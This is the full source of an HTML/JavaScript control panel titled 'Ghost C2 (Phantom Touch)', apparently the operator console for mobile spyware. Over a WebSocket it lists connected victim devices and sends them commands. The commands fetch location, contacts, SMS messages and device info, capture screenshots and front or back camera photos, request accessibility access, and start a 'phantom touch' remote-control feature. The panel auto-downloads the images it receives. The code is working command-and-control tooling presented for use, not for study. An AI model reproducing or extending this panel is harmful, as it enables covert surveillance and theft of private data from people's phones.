Spaces:
Sleeping
Sleeping
| <html> | |
| <head> | |
| <title>Ghost C2 (Phantom Touch)</title> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <style> | |
| body { font-family: 'Courier New', monospace; background-color: #1a1a1a; color: #00ff00; } | |
| #main { max-width: 800px; margin: auto; padding: 10px; } | |
| h1, h2 { text-align: center; } | |
| #server-status { padding: 10px; margin-bottom: 15px; font-weight: bold; text-align: center; border: 1px solid; } | |
| .active { color: #00ff00; border-color: #00ff00; } | |
| .inactive { color: #ff0000; border-color: #ff0000; } | |
| #client-list { border: 1px solid #555; padding: 10px; margin-top: 15px; min-height: 100px; } | |
| .client-box { border: 1px solid #00ff00; padding: 15px; margin-bottom: 15px; word-wrap: break-word; } | |
| .section-title { color: #ffffff; font-weight: bold; margin-top: 15px; border-bottom: 1px solid #555; padding-bottom: 5px; margin-bottom: 10px; } | |
| button { background: #333; border: 1px solid #00ff00; color: #00ff00; padding: 8px; cursor: pointer; margin-top: 5px; margin-right: 5px; font-size: 12px; } | |
| .test-btn { border-color: #5bc0de; color: #5bc0de; } | |
| .download-btn { border-color: #f0ad4e; color: #f0ad4e; width: 100%; } | |
| .danger-btn { border-color: #ff0000; color: #ff0000; } | |
| .control-panel button { width: 100%; margin-bottom: 5px; } | |
| #logs { background: #000; border: 1px solid #555; height: 300px; overflow-y: auto; padding: 10px; margin-top: 15px; font-size: 14px; white-space: pre-wrap; word-wrap: break-word; } | |
| .perm-status { display: inline-block; padding: 2px 8px; border-radius: 5px; font-size: 12px; margin-right: 10px; color: #000; } | |
| .perm-on { background-color: #00ff00; } | |
| .perm-off { background-color: #ff0000; } | |
| .button-group { display: flex; justify-content: space-between; margin-bottom: 5px; } | |
| .button-group button { width: 49%; margin: 0; } | |
| /* --- YEH HAI NAYA STYLE PHANTOM TOUCH KE LIYE --- */ | |
| .phantom-btn { border-color: #9932CC; color: #9932CC; } /* Purple color */ | |
| </style> | |
| </head> | |
| <body> | |
| <div id="main"> | |
| <h1>Ghost C2 Panel</h1> | |
| <div id="server-status" class="inactive">SERVER STATUS: CONNECTING...</div> | |
| <h2>Online Clients</h2> | |
| <div id="client-list"><p id="no-clients-msg">Waiting for clients...</p></div> | |
| <h2>Logs</h2> | |
| <div id="logs"></div> | |
| <button class="download-btn" onclick="downloadLogs()">Download Logs</button> | |
| </div> | |
| <script> | |
| const serverStatus = document.getElementById('server-status'); | |
| const logsDiv = document.getElementById('logs'); | |
| const clientListDiv = document.getElementById('client-list'); | |
| let ws; | |
| let heartbeatInterval = null; | |
| const log = (msg) => { | |
| logsDiv.innerHTML += `<p>> ${msg}</p>`; | |
| logsDiv.scrollTop = logsDiv.scrollHeight; | |
| }; | |
| function downloadLogs() { | |
| const logText = logsDiv.innerText; | |
| if (!logText || logText.trim() === "") { | |
| log("Logs are empty. Nothing to download."); | |
| return; | |
| } | |
| const blob = new Blob([logText], { type: 'text/plain' }); | |
| const link = document.createElement('a'); | |
| link.href = URL.createObjectURL(blob); | |
| link.download = `ghost_logs_${Date.now()}.txt`; | |
| document.body.appendChild(link); | |
| link.click(); | |
| document.body.removeChild(link); | |
| log("Log file download initiated."); | |
| } | |
| function downloadData(base64, deviceId, type) { | |
| const isImage = type === 'screenshot' || type === 'photo'; | |
| const extension = isImage ? 'png' : 'txt'; | |
| const mimeType = isImage ? 'image/png' : 'text/plain'; | |
| const link = document.createElement('a'); | |
| link.href = `data:${mimeType};base64,` + base64; | |
| link.download = `${type}_${deviceId}_${Date.now()}.${extension}`; | |
| document.body.appendChild(link); | |
| link.click(); | |
| document.body.removeChild(link); | |
| log(`${type.charAt(0).toUpperCase() + type.slice(1)} download initiated for ${deviceId}.`); | |
| } | |
| function connect() { | |
| const wsProtocol = location.protocol === 'https:' ? 'wss:' : 'ws:'; | |
| ws = new WebSocket(`${wsProtocol}//${location.host}/admin-ws`); | |
| ws.onopen = () => { | |
| serverStatus.textContent = 'SERVER STATUS: ACTIVE'; | |
| serverStatus.className = 'active'; | |
| clientListDiv.innerHTML = '<p id="no-clients-msg">Waiting for clients...</p>'; | |
| if (heartbeatInterval) clearInterval(heartbeatInterval); | |
| heartbeatInterval = setInterval(() => { | |
| if (ws.readyState === WebSocket.OPEN) { | |
| ws.send(JSON.stringify({ type: 'admin_heartbeat' })); | |
| } | |
| }, 25000); | |
| }; | |
| ws.onclose = () => { | |
| serverStatus.textContent = 'SERVER STATUS: DISCONNECTED. Reconnecting...'; | |
| serverStatus.className = 'inactive'; | |
| if (heartbeatInterval) clearInterval(heartbeatInterval); | |
| setTimeout(connect, 3000); | |
| }; | |
| ws.onerror = (error) => { | |
| log('WebSocket Error. Connection failed.'); | |
| ws.close(); | |
| }; | |
| ws.onmessage = (event) => { | |
| const data = JSON.parse(event.data); | |
| if (data.type === 'admin_heartbeat') return; | |
| const clientId = data.clientId || 'server'; | |
| if ((data.type === 'screenshot_data' || data.type === 'photo_data') && data.image_base64) { | |
| const dataType = data.type.includes('screenshot') ? 'screenshot' : 'photo'; | |
| log(`${dataType} received from ${clientId}!`); | |
| downloadData(data.image_base64, clientId, dataType); | |
| return; | |
| } | |
| log(`Response from ${clientId}:\n${JSON.stringify(data, null, 2)}`); | |
| if (data.type === 'client_connected') { | |
| addClientBox(data.id, data.info, data.permissions); | |
| } else if (data.type === 'client_disconnected') { | |
| removeClientBox(data.id); | |
| } else if (data.permissions && data.clientId) { | |
| updateAllPermissionStatus(data.clientId, data.permissions); | |
| } | |
| }; | |
| } | |
| function addClientBox(deviceId, info, permissions) { | |
| const noClientsMsg = document.getElementById('no-clients-msg'); | |
| if (document.getElementById(`client-${deviceId}`)) return; | |
| if (noClientsMsg) noClientsMsg.style.display = 'none'; | |
| const clientBox = document.createElement('div'); | |
| clientBox.className = 'client-box'; | |
| clientBox.id = `client-${deviceId}`; | |
| clientBox.innerHTML = ` | |
| <h3>ID: ${deviceId}</h3> | |
| <div class="permissions" id="perms-${deviceId}"></div> | |
| <div class="control-panel"> | |
| <p class="section-title">-- Basic Info --</p> | |
| <button onclick="sendCommand('${deviceId}', 'get_device_info')">Get Device Info</button> | |
| <button onclick="sendCommand('${deviceId}', 'get_battery')">Get Battery</button> | |
| <p class="section-title">-- Permission Control --</p> | |
| <button onclick="sendCommand('${deviceId}', 'request_permission', { permission_name: 'location' })">Request Location</button> | |
| <button onclick="sendCommand('${deviceId}', 'request_permission', { permission_name: 'contacts' })">Request Contacts</button> | |
| <button onclick="sendCommand('${deviceId}', 'request_permission', { permission_name: 'sms' })">Request SMS</button> | |
| <button onclick="sendCommand('${deviceId}', 'request_permission', { permission_name: 'camera' })">Request Camera</button> | |
| <button class="test-btn" onclick="sendCommand('${deviceId}', 'request_accessibility')">Request Accessibility</button> | |
| <p class="section-title">-- Actions --</p> | |
| <button onclick="sendCommand('${deviceId}', 'get_location')">Get Location</button> | |
| <button onclick="sendCommand('${deviceId}', 'get_contacts')">Get Contacts</button> | |
| <button onclick="sendCommand('${deviceId}', 'get_sms')">Get Messages</button> | |
| <button class="danger-btn" onclick="sendCommand('${deviceId}', 'take_screenshot')">Take Screenshot</button> | |
| <div class="button-group"> | |
| <button class="danger-btn" onclick="sendCommand('${deviceId}', 'take_photo', { camera_type: 'front' })">Front Cam</button> | |
| <button class="danger-btn" onclick="sendCommand('${deviceId}', 'take_photo', { camera_type: 'back' })">Back Cam</button> | |
| </div> | |
| <!-- === YEH HAIN NAYE PHANTOM TOUCH BUTTONS === --> | |
| <p class="section-title">-- Advanced Actions --</p> | |
| <div class="button-group"> | |
| <button class="phantom-btn" onclick="sendCommand('${deviceId}', 'start_phantom_touch')">Start Phantom Touch</button> | |
| <button class="phantom-btn" onclick="sendCommand('${deviceId}', 'stop_phantom_touch')">Stop Phantom Touch</button> | |
| </div> | |
| </div> | |
| `; | |
| clientListDiv.appendChild(clientBox); | |
| updateAllPermissionStatus(deviceId, permissions || {}); | |
| } | |
| function updateAllPermissionStatus(deviceId, permissions) { | |
| const permsDiv = document.getElementById(`perms-${deviceId}`); | |
| if (!permsDiv) return; | |
| const permNames = ['accessibility', 'location', 'contacts', 'sms', 'camera']; | |
| let permsHTML = ''; | |
| permNames.forEach(name => { | |
| if (permissions.hasOwnProperty(name)) { | |
| const status = permissions[name] ? 'on' : 'off'; | |
| const displayName = name.charAt(0).toUpperCase() + name.slice(1); | |
| permsHTML += `<span class="perm-status perm-${status}">${displayName}</span>`; | |
| } | |
| }); | |
| permsDiv.innerHTML = permsHTML; | |
| } | |
| function removeClientBox(deviceId) { | |
| const clientBox = document.getElementById(`client-${deviceId}`); | |
| if (clientBox) clientBox.remove(); | |
| const clientBoxes = clientListDiv.querySelectorAll('.client-box'); | |
| const noClientsMsg = document.getElementById('no-clients-msg'); | |
| if (clientBoxes.length === 0 && noClientsMsg) { | |
| noClientsMsg.style.display = 'block'; | |
| } | |
| } | |
| function sendCommand(targetId, cmd, params = {}) { | |
| if (ws && ws.readyState === WebSocket.OPEN) { | |
| const payload = { targetId, command: cmd, ...params }; | |
| ws.send(JSON.stringify(payload)); | |
| log(`Command sent to ${targetId}: ${JSON.stringify({ command: cmd, ...params })}`); | |
| } else { | |
| log('Cannot send command. WebSocket is not connected.'); | |
| } | |
| } | |
| connect(); | |
| </script> | |
| </body> | |
| </html> |